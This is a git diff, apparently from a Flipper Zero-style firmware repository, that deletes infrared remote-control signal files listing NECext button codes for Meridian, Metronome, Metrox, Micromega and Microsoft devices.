F_A-B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: F_PHASE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: #_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: F_# -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: PAGE_< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: PAGE_<_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: F_L/PAGE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: L> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: PLAY/AUDIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: STOP/OPEN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: RECORD/RED -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 48 00 00 00 -# -name: BAND/GREEN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 49 00 00 00 -# -name: ANGLE/YELLOW -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4A 00 00 00 -# -name: OSD/BLUE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4B 00 00 00 -# -name: INPUT:_LD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4C 00 00 00 -# -name: GAME -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4C 00 00 00 -# -name: INPUT_LD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4C 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: MENU/SETUP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: DSP_PRESET_STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: CURSOE_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5E 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 60 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 61 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6B 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6B 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6B 00 00 00 -# -name: INPUT:_RADIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6C 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6C 00 00 00 -# -name: INPUT:_TAPE_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6D 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6D 00 00 00 -# -name: INPUT_TAPE_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6D 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6D 00 00 00 -# -name: INPUT:_TAPE_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6E 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6E 00 00 00 -# -name: INPUT_TAPE_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6E 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6E 00 00 00 -# -name: INPUT:_CABLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6F 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6F 00 00 00 -# -name: INPUT_CABLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6F 00 00 00 -# -name: INPUT:_VCR_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 70 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 70 00 00 00 -# -name: INPUT_VCR_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 70 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 70 00 00 00 -# -name: INPUT:_VCR_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 71 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 71 00 00 00 -# -name: INPUT_VCR_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 71 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 71 00 00 00 -# -name: INPUT:_LP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 72 00 00 00 -# -name: LP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 72 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 72 00 00 00 -# -name: INPUT_LP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 72 00 00 00 -# -name: INPUT:_TV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 74 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 74 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 74 00 00 00 -# -name: INPUT:_CDR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 75 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 75 00 00 00 -# -name: INPUT_CDR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 75 00 00 00 -# -name: CDR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 75 00 00 00 -# -name: DSP_PRESETS -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: TOP_MENU/# -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir deleted file mode 100644 index fd04314a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: INPUT_LD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4C 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6B 00 00 00 -# -name: INPUT_TAPE_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6D 00 00 00 -# -name: INPUT_TAPE_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6E 00 00 00 -# -name: INPUT_CABLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6F 00 00 00 -# -name: INPUT_VCR_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 70 00 00 00 -# -name: INPUT_VCR_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 71 00 00 00 -# -name: INPUT_LP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 72 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 74 00 00 00 -# -name: INPUT_CDR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 75 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir deleted file mode 100644 index f44cf85c4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir deleted file mode 100644 index b4b043224..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: HEATER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: MIST_LVL -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: HUMIDITY_SET -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: IONIZER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: NIGHT_MODE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir deleted file mode 100644 index 82f68a126..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: T-C -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir deleted file mode 100644 index fdca957ac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: FFW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 39 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 58 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 59 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir deleted file mode 100644 index 78f2887f7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir +++ /dev/null @@ -1,368 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0C 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0C 00 00 00 -# -name: START -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0D 00 00 00 -# -name: WINDOWS_MEDIA_CENTER -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 0F 00 00 00 -# -name: A_(GREEN) -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 12 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 12 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 12 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 12 00 00 00 -# -name: X_(BLUE) -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 13 00 00 00 -# -name: CH_DOWN -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 13 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 13 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 13 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 14 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 14 00 00 00 -# -name: SEARCH_FORWARD -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 14 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 15 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 15 00 00 00 -# -name: SEARCH_BACK -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 15 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 16 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 17 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 18 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 19 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1A 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1A 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1A 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1B 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1B 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 1F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 20 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 20 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 21 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 21 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 22 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 22 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 23 00 00 00 -# -name: BACK_< -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 23 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 24 00 00 00 -# -name: B_(RED) -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 25 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 25 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 25 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 25 00 00 00 -# -name: Y_(YELLOW) -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 26 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 26 00 00 00 -# -name: Y -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 26 00 00 00 -# -name: Y_/_GUL -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 26 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 28 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 4F 00 00 00 -# -name: DISLPLAY -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 4F 00 00 00 -# -name: DISPLAY_MENU -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 4F 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 51 00 00 00 -# -name: TITLE_MENU -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 51 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 64 00 00 00 -# -name: XBOX -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 64 00 00 00 -# -name: XBOX_MENU -type: parsed -protocol: NECext -address: 74 0F 00 00 -command: 64 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir deleted file mode 100644 index 25c731081..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: 